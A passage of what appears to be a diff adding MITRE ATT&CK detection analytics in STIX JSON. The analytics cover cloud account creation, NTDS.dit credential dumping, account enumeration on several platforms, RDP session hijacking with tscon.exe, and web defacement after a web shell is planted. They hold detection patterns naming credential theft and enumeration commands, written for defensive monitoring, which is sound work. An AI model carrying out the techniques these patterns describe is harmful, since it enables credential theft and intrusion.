"x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d715d148-4d2d-407c-bd83-c471a4163d4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0583#AN1608", + "external_id": "AN1608" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1608", + "description": "Account creation via cloud service APIs or CLI, often associated with key generation. Monitored via CloudTrail or equivalent audit logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "AWS:CloudTrail", + "channel": "CreateUser" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "AWS:CloudTrail", + "channel": "AttachUserPolicy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Region", + "description": "Alert on account creation outside expected geographies" + }, + { + "field": "ServiceScope", + "description": "Filter on creation of users scoped to sensitive services" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--619804e7-5ae7-4c6e-b1bb-e1d10a22cc87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0584#AN1609", + "external_id": "AN1609" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1609", + "description": "Unexpected creation or modification of files with `com.apple.ResourceFork` extended attributes containing unusually large or non-standard data. Defender perspective: detection of resource forks in contexts where they are uncommon, especially when paired with process execution or network activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "File creation or modification with com.apple.ResourceFork extended attribute" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process creation involving binaries interacting with resource fork data" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ResourceForkSizeThreshold", + "description": "Adjust thresholds for 'unusually large' resource fork data based on baseline usage in the environment." + }, + { + "field": "MonitoredDirectories", + "description": "Scope monitoring to sensitive directories such as /Users, /Applications, or temporary paths." + }, + { + "field": "CorrelatedActivityWindow", + "description": "Time window for correlating resource fork activity with subsequent execution or network activity." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3a5eea3b-b447-47c5-832d-6ced137b1597", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0585#AN1610", + "external_id": "AN1610" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1610", + "description": "Abuse of JamPlus.exe to launch malicious payloads via crafted .jam files, resulting in abnormal process creation, command execution, or artifact generation outside of standard development workflows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3, 22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned or untrusted modules loaded during JamPlus.exe runtime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation time window (e.g., 0\u201330 minutes) for JamPlus.exe execution, child processes, and file/network events." + }, + { + "field": "AllowedBuildHosts", + "description": "Known developer systems where JamPlus.exe usage is expected; alerts are raised if executed elsewhere." + }, + { + "field": "SuspiciousChildList", + "description": "Child processes considered anomalous (e.g., PowerShell, cmd, wscript) when spawned by JamPlus.exe." + }, + { + "field": "RarePathRegex", + "description": "Regex patterns for non-standard or user-writable paths where JamPlus.exe drops artifacts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1c715030-9564-482d-98b7-22072bf28c97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0586#AN1611", + "external_id": "AN1611" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1611", + "description": "Detects credential dumping attempts targeting the NTDS.dit database by monitoring shadow copy creation, suspicious file access to %SystemRoot%\\NTDS\\ntds.dit, and the use of tooling like ntdsutil.exe or volume management APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--dad75cc7-5bae-4175-adb4-ca1962d8650e", + "name": "WinEventLog:Microsoft-Windows-VSS", + "channel": "Volume Shadow Copy Creation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetFilePath", + "description": "Tunable for NTDS file location or backup paths if organization uses custom domain controller storage structure." + }, + { + "field": "ParentProcessName", + "description": "Can suppress backup-related parent processes to reduce false positives." + }, + { + "field": "TimeWindow", + "description": "Temporal correlation between shadow copy creation and NTDS file access (e.g., 5 min window)." + }, + { + "field": "UserContext", + "description": "Tune based on expected privileged user/service account behavior." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e576eaeb-2158-40f9-8edb-c119eac56442", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1612", + "external_id": "AN1612" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1612", + "description": "Detection of suspicious enumeration of local or domain accounts via command-line tools, WMI, or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Match variations in enumeration commands like 'net user', 'Get-ADUser', 'dsquery'." + }, + { + "field": "TimeWindow", + "description": "Short burst of account enumeration commands may indicate automation." + }, + { + "field": "UserContext", + "description": "Restrict to non-admin accounts or unexpected users executing enumeration commands." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7b0d80c0-807e-46b1-b3f7-fd3e4f3aceba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1613", + "external_id": "AN1613" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1613", + "description": "Enumeration of users and groups through suspicious shell commands or unauthorized access to /etc/passwd or /etc/shadow.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "PATH" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessedFile", + "description": "Tune based on file paths such as '/etc/passwd', '/etc/group', '/etc/shadow'." + }, + { + "field": "ParentProcessName", + "description": "Filter known admin processes to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--24aa5ee9-ba7f-4991-b32a-27d40ee2d010", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1614", + "external_id": "AN1614" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1614", + "description": "Detection of user account enumeration through tools like dscl, dscacheutil, or loginshell enumeration via command-line.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process event" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLine", + "description": "Tune for dscl -list, dscacheutil -q user, id -un, etc." + }, + { + "field": "ExecutionContext", + "description": "Alert if enumeration is performed in non-console session or by unusual users." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5d7158ce-17f5-4643-bde2-c0a4f2ba0b73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1615", + "external_id": "AN1615" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1615", + "description": "Detection of API calls listing users, IAM roles, or groups in cloud environments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "AWS:CloudTrail", + "channel": "DescribeUsers / ListUsers / GetUser" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "API_Method", + "description": "Tune based on which IAM APIs are used and their frequency." + }, + { + "field": "CallerType", + "description": "Differentiate user-initiated from automated/scripted enumeration." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cb177f89-c8a4-4233-a2e4-3fdd02dccba1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1616", + "external_id": "AN1616" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1616", + "description": "Enumeration of user or role objects via IdP API endpoints or LDAP queries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "azure:signinlogs", + "channel": "Graph API Query" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "saas:okta", + "channel": "User Enumeration Events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "QueryType", + "description": "Detect user vs role enumeration. Tune based on query scope." + }, + { + "field": "AppContext", + "description": "Correlate enumeration with unexpected app registrations or identities." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c4973f27-c8db-4478-aaf8-eb73580fceec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1617", + "external_id": "AN1617" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1617", + "description": "Account enumeration via esxcli, vim-cmd, or API calls to vSphere.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:vpxd", + "channel": "vCenter Management" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPattern", + "description": "Tune based on known enumeration commands: 'vim-cmd vimsvc/auth/userlist'." + }, + { + "field": "PrivilegedSession", + "description": "Elevated enumeration from vpxuser or root may indicate threat activity." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d85db7b4-5eb1-4781-b92c-a18102a568dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1618", + "external_id": "AN1618" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1618", + "description": "Account enumeration via bulk access to user directory features or hidden APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "gcp:audit", + "channel": "Directory API Access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EndpointURL", + "description": "Tune based on enumeration from directory endpoints such as /users, /groups." + }, + { + "field": "UserAgent", + "description": "Detect scripted enumeration via curl/wget or unknown tools." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--06e0501e-a87e-452d-9ab5-93ed9a5eade5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587#AN1619", + "external_id": "AN1619" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1619", + "description": "Account discovery via VBA macros, COM objects, or embedded scripting.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "m365:unified", + "channel": "Scripted Activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MacroName", + "description": "Alert on auto-running macros accessing directory or user info." + }, + { + "field": "ExecutionScope", + "description": "Focus on macros invoking LDAP, ADODB, or WMI queries." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--be773ad4-9e5f-4063-910a-99a3cab90582", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0588#AN1620", + "external_id": "AN1620" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1620", + "description": "Detection of suspicious use of `tscon.exe` or equivalent methods to hijack legitimate RDP sessions. Defenders can observe anomalies such as session reassignments without corresponding authentication, processes spawned in the context of hijacked sessions, or unusual RDP network traffic flows that deviate from expected baselines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExpectedRDPHosts", + "description": "Whitelist of systems and accounts authorized to use RDP; deviations indicate possible hijacking." + }, + { + "field": "TimeWindow", + "description": "Time threshold for correlating logon events with session reassignment and process execution." + }, + { + "field": "SessionIDMapping", + "description": "Environment-specific mapping of user accounts to session IDs; inconsistencies may reveal hijacking." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--105ca36e-c3e0-48c4-ada3-7f8c4aa4430f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0589#AN1621", + "external_id": "AN1621" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1621", + "description": "Detects enabling of reversible password encryption in Active Directory or Group Policy, suspicious PowerShell commands modifying AD user properties, and unusual account configuration changes correlated with policy modifications. Multi-event correlation links Group Policy edits, PowerShell command execution, and user account property changes to identify tampering with authentication encryption settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Security", + "channel": "EventCode=4739" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredOUs", + "description": "Scope of Organizational Units where reversible encryption property monitoring is enabled." + }, + { + "field": "TimeWindow", + "description": "Time window in which to correlate Group Policy modification and subsequent user property changes." + }, + { + "field": "SuspiciousCmdletList", + "description": "List of PowerShell cmdlets to monitor for account configuration changes." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--67febd8b-36fe-4f72-8647-95fe449ecb5d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0590#AN1622", + "external_id": "AN1622" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1622", + "description": "Adversary modifies externally-facing web content by accessing and overwriting hosted HTML/JS/CSS files, typically following web shell deployment, credential abuse, or exploitation of web application vulnerabilities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Connections", + "channel": "Unusual POST requests to admin or upload endpoints" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "target_directory", + "description": "Web root folder varies by environment, e.g., C:\\inetpub\\wwwroot" + }, + { + "field": "UserContext", + "description": "May vary based on which service account hosts the website" + }, + { + "field": "TimeWindow", + "description": "Time between webshell upload and file overwrite may vary" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1affb8e9-25b4-49c1-b290-687e9696fa83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0590#AN1623", + "external_id": "AN1623" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1623", + "description": "Adversary compromises a Linux-based web server and modifies hosted web files by exploiting upload vulnerabilities, remote code execution, or replacing index.html via SSH/webshell.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open/write syscalls targeting web directory files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "NSM:Connections", + "channel": "Successful sudo or ssh from unknown IPs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Suspicious POSTs to upload endpoints" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "web_root", + "description": "May differ (e.g., /var/www/html, /srv/http, etc.)" + }, + { + "field": "payload_hash", + "description": "Adversary content hash may change across campaigns" + }, + { + "field": "UserContext", + "description": "Can range from apache/nginx user to root if escalated" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c9b3d194-843a-4f65-ad8b-4b3192571fc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0590#AN1624", + "external_id": "AN1624" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1624", + "description": "Adversary modifies web-facing content on macOS via web development environments like MAMP or misconfigured Apache instances, typically with access to the hosting user account or via persistence tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Terminal/Editor processes modifying web folder" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + 